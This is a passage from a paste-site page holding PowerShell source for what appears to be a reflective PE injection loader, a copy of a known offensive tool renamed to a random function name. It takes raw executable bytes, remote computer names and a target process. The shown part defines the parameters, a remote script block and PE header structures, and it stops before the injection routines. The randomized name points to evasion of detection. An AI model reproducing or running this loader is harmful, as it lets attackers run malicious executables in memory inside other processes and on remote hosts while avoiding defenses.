From Gamboge Lizard, 5 Years ago, written in Plain Text.
Embed
  1.  
  2. function Invoke-LUYPYBUTYKKOXUQ
  3. {
  4.  
  5. [CmdletBinding()]
  6. Param(
  7.     [Parameter(Position = 0, Mandatory = $true)]
  8.     [ValidateNotNullOrEmpty()]
  9.     [Byte[]]
  10.     $PEBytes,
  11.  
  12.         [Parameter(Position = 1)]
  13.         [String[]]
  14.         $ComputerName,
  15.  
  16.         [Parameter(Position = 2)]
  17.     [ValidateSet( 'WString', 'String', 'Void' )]
  18.         [String]
  19.         $FuncReturnType = 'Void',
  20.  
  21.         [Parameter(Position = 3)]
  22.         [String]
  23.         $ExeArgs,
  24.  
  25.         [Parameter(Position = 4)]
  26.         [Int32]
  27.         $ProcId,
  28.  
  29.         [Parameter(Position = 5)]
  30.         [String]
  31.         $ProcName,
  32.  
  33.     [Switch]
  34.     $ForceASLR,
  35.  
  36.         [Switch]
  37.         $DoNotZeroMZ
  38. )
  39.  
  40. Set-StrictMode -Version 2
  41.  
  42.  
  43. $RemoteScriptBlock = {
  44.         [CmdletBinding()]
  45.         Param(
  46.                 [Parameter(Position = 0, Mandatory = $true)]
  47.                 [Byte[]]
  48.                 $PEBytes,
  49.  
  50.                 [Parameter(Position = 1, Mandatory = $true)]
  51.                 [String]
  52.                 $FuncReturnType,
  53.  
  54.                 [Parameter(Position = 2, Mandatory = $true)]
  55.                 [Int32]
  56.                 $ProcId,
  57.  
  58.                 [Parameter(Position = 3, Mandatory = $true)]
  59.                 [String]
  60.                 $ProcName,
  61.  
  62.         [Parameter(Position = 4, Mandatory = $true)]
  63.         [Bool]
  64.         $ForceASLR
  65.         )
  66.  
  67.         Function Get-Win32Types
  68.         {
  69.                 $Win32Types = New-Object System.Object
  70.  
  71.                 $Domain = [AppDomain]::CurrentDomain
  72.                 $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
  73.                 $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
  74.                 $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
  75.                 $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
  76.  
  77.                 $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
  78.                 $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
  79.                 $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
  80.                 $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
  81.                 $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
  82.                 $MachineType = $TypeBuilder.CreateType()
  83.                 $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType
  84.  
  85.  
  86.                 $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
  87.                 $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
  88.                 $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
  89.                 $MagicType = $TypeBuilder.CreateType()
  90.                 $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType
  91.  
  92.  
  93.                 $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
  94.                 $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
  95.                 $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
  96.                 $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
  97.                 $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
  98.                 $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
  99.                 $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
  100.                 $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
  101.                 $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
  102.                 $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
  103.                 $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
  104.                 $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
  105.                 $SubSystemType = $TypeBuilder.CreateType()
  106.                 $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType
  107.  
  108.  
  109.                 $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
  110.                 $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
  111.                 $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
  112.                 $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
  113.                 $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
  114.                 $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
  115.                 $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
  116.                 $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
  117.                 $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
  118.                 $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
  119.                 $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
  120.                 $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
  121.                 $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
  122.                 $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
  123.                 $DllCharacteristicsType = $TypeBuilder.CreateType()
  124.                 $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
  125.  
  126.  
  127.  
  128.                 $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  129.                 $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
  130.                 ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
  131.                 ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
  132.                 $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
  133.                 $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY
  134.  
  135.  
  136.                 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  137.                 $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
  138.                 $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
  139.                 $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
  140.                 $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  141.                 $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
  142.                 $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
  143.                 $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
  144.                 $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
  145.                 $IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
  146.                 $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
  147.  
  148.  
  149.                 $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  150.                 $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
  151.                 ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
  152.                 ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
  153.                 ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
  154.                 ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
  155.                 ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
  156.                 ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
  157.                 ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
  158.                 ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
  159.                 ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
  160.                 ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
  161.                 ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
  162.                 ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
  163.                 ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
  164.                 ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
  165.                 ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
  166.                 ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
  167.                 ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
  168.                 ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
  169.                 ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
  170.                 ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
  171.                 ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
  172.                 ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
  173.                 ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
  174.                 ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
  175.                 ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
  176.                 ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
  177.                 ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
  178.                 ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
  179.                 ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
  180.                 ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
  181.                 ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
  182.                 ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
  183.                 ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
  184.                 ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
  185.                 ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
  186.                 ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
  187.                 ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
  188.                 ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
  189.                 ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
  190.                 ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
  191.                 ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
  192.                 ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
  193.                 ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
  194.                 ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
  195.                 ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
  196.                 $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
  197.                 $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64
  198.  
  199.  
  200.                 $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  201.                 $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
  202.                 ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
  203.                 ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
  204.                 ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
  205.                 ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
  206.                 ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
  207.                 ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
  208.                 ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
  209.                 ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
  210.                 ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
  211.                 ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
  212.                 ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
  213.                 ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
  214.                 ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
  215.                 ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
  216.                 ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
  217.                 ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
  218.                 ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
  219.                 ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
  220.                 ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
  221.                 ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
  222.                 ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
  223.                 ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
  224.                 ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
  225.                 ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
  226.                 ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
  227.                 ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
  228.                 ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
  229.                 ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
  230.                 ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
  231.                 ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
  232.                 ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
  233.                 ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
  234.                 ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
  235.                 ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
  236.                 ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
  237.                 ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
  238.                 ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
  239.                 ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
  240.                 ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
  241.                 ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
  242.                 ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
  243.                 ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
  244.                 ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
  245.                 ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
  246.                 ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
  247.                 ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
  248.                 $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
  249.                 $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32
  250.  
  251.  
  252.                 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  253.                 $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
  254.                 $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
  255.                 $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
  256.                 $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
  257.                 $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
  258.                 $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
  259.  
  260.  
  261.                 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  262.                 $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
  263.                 $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
  264.                 $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
  265.                 $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
  266.                 $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
  267.                 $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32
  268.  
  269.  
  270.                 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  271.                 $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
  272.                 $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
  273.                 $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
  274.                 $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
  275.                 $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
  276.                 $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
  277.                 $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
  278.                 $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
  279.                 $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
  280.                 $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
  281.                 $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
  282.                 $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
  283.                 $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
  284.                 $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
  285.                 $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null
  286.  
  287.                 $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
  288.                 $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  289.                 $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
  290.                 $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
  291.                 $e_resField.SetCustomAttribute($AttribBuilder)
  292.  
  293.                 $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
  294.                 $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null
  295.  
  296.                 $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
  297.                 $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  298.                 $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
  299.                 $e_res2Field.SetCustomAttribute($AttribBuilder)
  300.  
  301.                 $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
  302.                 $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
  303.                 $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
  304.  
  305.  
  306.                 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  307.                 $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
  308.  
  309.                 $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
  310.                 $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  311.                 $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
  312.                 $nameField.SetCustomAttribute($AttribBuilder)
  313.  
  314.                 $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
  315.                 $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
  316.                 $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
  317.                 $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
  318.                 $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
  319.                 $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
  320.                 $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
  321.                 $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
  322.                 $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  323.                 $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
  324.                 $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
  325.  
  326.  
  327.                 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  328.                 $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
  329.                 $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
  330.                 $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
  331.                 $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
  332.                 $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION
  333.  
  334.  
  335.                 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  336.                 $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
  337.                 $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  338.                 $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  339.                 $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
  340.                 $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
  341.                 $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
  342.                 $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
  343.                 $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR
  344.  
  345.  
  346.                 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  347.                 $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
  348.                 $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  349.                 $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  350.                 $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
  351.                 $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
  352.                 $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
  353.                 $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
  354.                 $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
  355.                 $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
  356.                 $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
  357.                 $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
  358.                 $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
  359.                 $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
